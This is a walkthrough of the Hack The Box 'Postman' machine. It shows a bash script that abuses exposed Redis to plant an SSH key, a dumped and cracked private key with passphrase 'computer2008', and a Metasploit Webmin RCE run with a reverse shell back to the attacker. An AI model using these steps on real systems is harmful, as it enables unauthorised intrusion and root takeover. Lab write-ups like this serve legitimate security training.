Postman Writeup / Walkthrough Hack the box

Postman Writeup Summery

TL;DR

This Writeup is about Postman, on hack the box. It was a Linux box that starts off with Redis exploitation to get an initial foothold. Then we enumerate and find an encrypted ssh key of matt. Next, we crack the ssh key’s passphrase. We use the same credentials on the Webmin instance running on port 10000. Enumerate the version and use Metasploit to get root on the system. Postman was a relatively simple machine overall this writeup will cover in details how to compromise it.

Walkthrough

Scanning Network

I did an initial Nmap scan and didn’t found much on it just ssh and port 80 which wasn’t enough. So I did a full port scan and got these results from Nmap.

root@kali:~/Desktop/HackTheBox-Machines/Postman# cat nmap/AllPorts.nmap 
# Nmap 7.80 scan initiated Thu Nov 28 05:27:06 2019 as: nmap -sC -sV -p- -oA nmap/AllPorts --max-retries 0 10.10.10.160
Warning: 10.10.10.160 giving up on port because retransmission cap hit (0).
Nmap scan report for Postman (10.10.10.160)
Host is up (0.15s latency).
Not shown: 49025 closed ports, 16506 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 28 05:28:35 2019 -- 1 IP address (1 host up) scanned in 89.52 seconds

So now I have Webmin on 10000, Redis on 6379, SSH and Http. I was new to Redis. I looked around a lot and found an exploit from Redis’s developer. apparently he says Redis has one security model which is there is no security model do not expose it to the internet keep it inside a closed network and only give access to users authorized to use it which is great. Click here for the exploit.

Understanding why exploit works

So exploit works because Redis lets anyone write files on the system and Redis has ssh key in its directory and has write access over it. An attacker can overwrite and we can write our own ssh key and get access in the system as Redis if we overwrite it with our own public key.

although on hack the box everyone was trying to use the same exploit which made it hell to manually exploit the system. because people were overwriting public key like crazy so after trying for 3-4 hours I thought manually this won’t work so I automated it with this script.

#!/bin/bash
rm /root/.ssh/id*
ssh-keygen -t rsa

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

redis-cli -h 10.10.10.160 flushall
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save

ssh -i /root/.ssh/id_rsa redis@10.10.10.160

Save it as exploit.sh and press enter through and you’ll get access as Redis on the system. sometimes it’s glitchy and takes trying two-three times to get the shell. With our script, ready let’s get a shell. I ran linEnum.sh and didn’t found anything and then I looked into /opt and found an encrypted ssh key.

Getting User on Postman.

redis@Postman:/var$ cd /opt
redis@Postman:/opt$ ls
id_rsa.bak
redis@Postman:/opt$ base64 id_rsa.bak 
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZvOiBERVMtRURFMy1DQkMsNzNFOUNFRkJDQ0Y1Mjg3QwoKSmVoQTUxSTE3cnNDT09WcXlX
eCtDODM2M0lPQllYUTExRGR3L3ByM0wyQTJORHRCN3R2c1hOeXFLRGdoZlFuWApjd0dKSlVEOWtL
Sm5pSmtKenJ2RjFXZXB2TU5rajlaSXRYUXpZTjh3Ympscmt1MWJKcTV4bkpYOUVVYjVJN2syCjdH
c1R3c012S3pYa2tmRVpRYVhLL1Q1MHMzSTRDZGNmYnIxZFhJeWFiWExMcFpPaVpFS3ZyNCtLeVNq
cDRvdTYKY2RuQ1doemtBL1R3SnBYRzFXZU9tTXZ0Q1pXMUhDQnV0WXNOUDZCRGY3OGJRR21tbGly
cVJtWGZMQjkySmhUOQoxdThKekhDSjF6Wk1HNXZhVXR2b24wcWdQeDd4ZUlVTzZMQUZUb3pyTjlN
R1dFcUJFSjV6TVZycnQzVEdWa2N2CkV5dmxXd2tzN1IvZ2p4SHlVd1QrYTVMQ0dHU2pWRDg1THhZ
dXRnV3hPVUtidFdHQmJVOHlpN1lzWGxLQ3d3SFAKVUg3T2ZRejAzVld5K0swYWE4UXMrRXl3Nlgz
d2JXbnVlMDNuZy9zTEpuSjcyOXpiM2t1eW04citoVSs5djZWWQpTaitRbmpWVFlqRGZuVDIyakpC
VUhUVjJ5cktlQXo2Q1hkRlQreEloeEVBaXYwbTFaa2t5UWtXcFVpQ3p5dVlLCnQrTVN0d1d0U3Qw
Vko0VTFOYTJHM3hHUGptcmttandYdnVkS0MwWU4vT0JvUFBPVGFCVkQ5aTZmc29aNnB3blMKNU1p
OEJ6ckJoZE8wd0hhRGNUWVBjM0IwMEN3cUFWNU1YbWtBazJ6S0wwVzJ0ZFZZa3NLd3hLQ3dHbVds
cGRrZQpQMkpHbHA5TFdFZXJNZm9sYmpUU09VNW1EZVBmTVEzZndDTzZNUEJpcXpyckZjUE5Kcjcv
TWNRRUNiNXNmK082CmpLRTNKZm4wVVZFMlFWZFZLM29FTDZEeWFCZi9XMmQvM1Q3cTEwVWQ3Sys0
S2QzNmd4TUJmMzNFYTYrcXgzR2UKU2JKSWhrc3c1VEtoZDUwNUFpVUgyVG44OXFOR2VjVkpFYmpL
ZUovdkZaQzVZSXNRKzlzbDg5VG1KSEw3NFkzaQpsM1lYREVzUWpoWkh4WDVYL1JVMDJEK0FGMDdw
M0JTUmpoRDMwY2pqMHV1V2tLb3dwb28wWTBlYmxnbWQ3bzJYCjBWSVdyc2tQSzRJN0lINWdia3J4
VkdiLzlnL1cydWExQzNObmN2M01OY2YwbmxJMTE3QlMvUXdOdHVUb3pHOHAKUzlrM2xpK3JZcjZm
M21hL1VMc1VuS2labHM4U3BVK1JzYW9zTEdLWjZwMm9JZThvUlNtbE9Dc1kwSUNxN2VSUgpoa3V6
VXVIOXovbUJvMnRRV2g4cXZUb0NTRWpnOHlOTzl6OCtMZG9OMXdRV01QYVZ3UkJqSXl4Q1BIRlRK
M3UrClp4eTB0SVB3akNadnhVZlluL0s0RlZIYXZ2QStiOWxvcG5VQ0VBRVJwd0l2OCt0WW9md0dW
cExWQzBEck41OFYKWFRmQjJYOXNMMW9CM2hPNG1KRjBaM3lKMktaRWRZd0hHdXFOVEZhZ04wZ0Jj
eU5JMndzeFpOeklLMjZ2UHJPRApiNkJjOVVkaVdDWnFNS1V4NGFNVExoRzVST2pnUUd5dFdmL3E3
TUdyTzNjRjI1azFQRVdOeVpNcVk0V1lzWlhpCldoUUZIa0ZPSU53VkVPdEhha1ovVG9ZYVVRTnRS
VDZwWnlIZ3ZqVDBtVG8wdDNqVUVSc3BwajFwd2JnZ0NHbWgKS1RrbWhLK01UYW95ODlDZzBYdzJK
MThEbTBvNzhwNlVOcmtTdWUxQ3NXakVmRUlGM05BTUVVMm8rTmdxOTJIbQpucEFGUmV0dndRN3h1
a2swcmJiNm12RjhnU3FMUWc3V3BiWkZ5dGdTMDVUcFBaUE0waDh0UkU4WVJkSmhlV3JRClZjTnla
SDhPSFlxRVM0ZzJVRjYyS3B0dHFTd0xpaUY0dXRIcSsvaDVDUXdzRitKUmc4OGJueGgyejJCRDZp
NVcKWCtoSzVIUHBwNlFualo4QTVFUnVVRUdhWkJFVXZHSnRQR0hqWnlMcGt5dE1oVGphT3JSTll3
PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K

To transfer it to my computer to crack the passphrase I base64’d the key and then base64 -d to decode it back to an ssh key and saved it ass Matt.key you can cat it out to verify if it is a complete ssh private key.

root@kali:~/Desktop/HackTheBox-Machines/Postman echo -n "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1JbmZvOiBERVMtRURFMy1DQkMsNzNFOUNFRkJDQ0Y1Mjg3QwoKSmVoQTUxSTE3cnNDT09WcXlXeCtDODM2M0lPQllYUTExRGR3L3ByM0wyQTJORHRCN3R2c1hOeXFLRGdoZlFuWApjd0dKSlVEOWtLSm5pSmtKenJ2RjFXZXB2TU5rajlaSXRYUXpZTjh3Ympscmt1MWJKcTV4bkpYOUVVYjVJN2syCjdHc1R3c012S3pYa2tmRVpRYVhLL1Q1MHMzSTRDZGNmYnIxZFhJeWFiWExMcFpPaVpFS3ZyNCtLeVNqcDRvdTYKY2RuQ1doemtBL1R3SnBYRzFXZU9tTXZ0Q1pXMUhDQnV0WXNOUDZCRGY3OGJRR21tbGlycVJtWGZMQjkySmhUOQoxdThKekhDSjF6Wk1HNXZhVXR2b24wcWdQeDd4ZUlVTzZMQUZUb3pyTjlNR1dFcUJFSjV6TVZycnQzVEdWa2N2CkV5dmxXd2tzN1IvZ2p4SHlVd1QrYTVMQ0dHU2pWRDg1THhZdXRnV3hPVUtidFdHQmJVOHlpN1lzWGxLQ3d3SFAKVUg3T2ZRejAzVld5K0swYWE4UXMrRXl3Nlgzd2JXbnVlMDNuZy9zTEpuSjcyOXpiM2t1eW04citoVSs5djZWWQpTaitRbmpWVFlqRGZuVDIyakpCVUhUVjJ5cktlQXo2Q1hkRlQreEloeEVBaXYwbTFaa2t5UWtXcFVpQ3p5dVlLCnQrTVN0d1d0U3QwVko0VTFOYTJHM3hHUGptcmttandYdnVkS0MwWU4vT0JvUFBPVGFCVkQ5aTZmc29aNnB3blMKNU1pOEJ6ckJoZE8wd0hhRGNUWVBjM0IwMEN3cUFWNU1YbWtBazJ6S0wwVzJ0ZFZZa3NLd3hLQ3dHbVdscGRrZQpQMkpHbHA5TFdFZXJNZm9sYmpUU09VNW1EZVBmTVEzZndDTzZNUEJpcXpyckZjUE5KcjcvTWNRRUNiNXNmK082CmpLRTNKZm4wVVZFMlFWZFZLM29FTDZEeWFCZi9XMmQvM1Q3cTEwVWQ3Sys0S2QzNmd4TUJmMzNFYTYrcXgzR2UKU2JKSWhrc3c1VEtoZDUwNUFpVUgyVG44OXFOR2VjVkpFYmpLZUovdkZaQzVZSXNRKzlzbDg5VG1KSEw3NFkzaQpsM1lYREVzUWpoWkh4WDVYL1JVMDJEK0FGMDdwM0JTUmpoRDMwY2pqMHV1V2tLb3dwb28wWTBlYmxnbWQ3bzJYCjBWSVdyc2tQSzRJN0lINWdia3J4VkdiLzlnL1cydWExQzNObmN2M01OY2YwbmxJMTE3QlMvUXdOdHVUb3pHOHAKUzlrM2xpK3JZcjZmM21hL1VMc1VuS2labHM4U3BVK1JzYW9zTEdLWjZwMm9JZThvUlNtbE9Dc1kwSUNxN2VSUgpoa3V6VXVIOXovbUJvMnRRV2g4cXZUb0NTRWpnOHlOTzl6OCtMZG9OMXdRV01QYVZ3UkJqSXl4Q1BIRlRKM3UrClp4eTB0SVB3akNadnhVZlluL0s0RlZIYXZ2QStiOWxvcG5VQ0VBRVJwd0l2OCt0WW9md0dWcExWQzBEck41OFYKWFRmQjJYOXNMMW9CM2hPNG1KRjBaM3lKMktaRWRZd0hHdXFOVEZhZ04wZ0JjeU5JMndzeFpOeklLMjZ2UHJPRApiNkJjOVVkaVdDWnFNS1V4NGFNVExoRzVST2pnUUd5dFdmL3E3TUdyTzNjRjI1azFQRVdOeVpNcVk0V1lzWlhpCldoUUZIa0ZPSU53VkVPdEhha1ovVG9ZYVVRTnRSVDZwWnlIZ3ZqVDBtVG8wdDNqVUVSc3BwajFwd2JnZ0NHbWgKS1RrbWhLK01UYW95ODlDZzBYdzJKMThEbTBvNzhwNlVOcmtTdWUxQ3NXakVmRUlGM05BTUVVMm8rTmdxOTJIbQpucEFGUmV0dndRN3h1a2swcmJiNm12RjhnU3FMUWc3V3BiWkZ5dGdTMDVUcFBaUE0waDh0UkU4WVJkSmhlV3JRClZjTnlaSDhPSFlxRVM0ZzJVRjYyS3B0dHFTd0xpaUY0dXRIcSsvaDVDUXdzRitKUmc4OGJueGgyejJCRDZpNVcKWCtoSzVIUHBwNlFualo4QTVFUnVVRUdhWkJFVXZHSnRQR0hqWnlMcGt5dE1oVGphT3JSTll3PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K" | base64 -d > Matts.KEy 

I cracked the ssh key using ssh2john to take a hash of the private key to bruteforce it for passphrase. I have explained this technique in more details in Heist writeup.

root@kali:~/Desktop/HackTheBox-Machines/Postman# /opt/JohnTheRipper/run/ssh2john.py Matts.KEy
Matts.KEy:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63

root@kali:~/Desktop/HackTheBox-Machines/Postman# /opt/JohnTheRipper/run/ssh2john.py Matts.KEy > mattsHash

Now got the hash in a file called mattHash if you see the last line. Now we’ll use john to brute-force it.

root@kali:~/Desktop/HackTheBox-Machines/Postman#  john --wordlist=/usr/share/wordlists/rockyou.txt HashMatt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (Matts.key)
1g 0:00:00:01 10.16% (ETA: 04:52:13) 0.5319g/s 862502p/s 862502c/s 862502C/s kifra9..kieukieu
Session aborted

I Got the passphrase as computer2008. so I tried to ssh in but couldn’t turn’s out we cant ssh as matt its denied. so I thought maybe it’s a password reuse scenario. I logged in as Redis with exploit.sh. used su – Matt with computer2008 and we got the user matt.

root@kali:~/Desktop/HackTheBox-Machines/Postman# ./exploit.sh 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:XTO4XdFGWOrxgauNIXyIDNUYptM90shUZ2j+ok1C90M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|       ==..o  .=o|
|      B.++o.  ooo|
|     + =o+. +.+o |
|      +.++oE =.o.|
|      .oS+*o... .|
|       . oo+=    |
|        = .o..   |
|       . .       |
|                 |
+----[SHA256]-----+
OK
OK
OK
OK
OK
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1

redis@Postman:~$ 
redis@Postman:~$ su Matt
Password: 
Matt@Postman:/var/lib/redis$ whoami
Matt

Rooting Postman.

I again tried linEnum.sh as matt and my shell broke. So I used that same credentials on the website portal. When trying to login it says we need to connect through ssh and we have to have an entry called Postman in our host file. Let’s do that real quick.

root@kali:~/Desktop/HackTheBox-Machines/Postman# echo "10.10.10.160 Postman" >> /etc/hosts; cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	kali
10.10.10.161    htb.local
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.160 Postman

Now we access the website portal through ssh.

Here we saw a version number in the Webmin panel. I googled an exploit for the same. where I found a Metasploit module for the exact version number it was an authenticated remote code execution. so i used Metasploit. this was the exploit.

msf5 > use linux/http/webmin_packageup_rce+
msf5 exploit(linux/http/webmin_packageup_rce) > show options 

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.165     yes       The listen address (an interface may be specified)
   LPORT  9004             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

Here are the options I used for Metasploit remember to use SSL set to true because Webmin is running on SSL.

msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.165:9004 
[+] Session cookie: 8269def18359f1629182b2d26b9f86ed
[*] Attempting to execute the payload...
[*] Command shell session 2 opened (10.10.14.165:9004 -> 10.10.10.160:41404) at 2019-11-28 05:12:27 -0500

whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

Whooh we got root on postman in this writeup I covered the scripts you can find those on my Github. If you got any questions feel free to comment down below.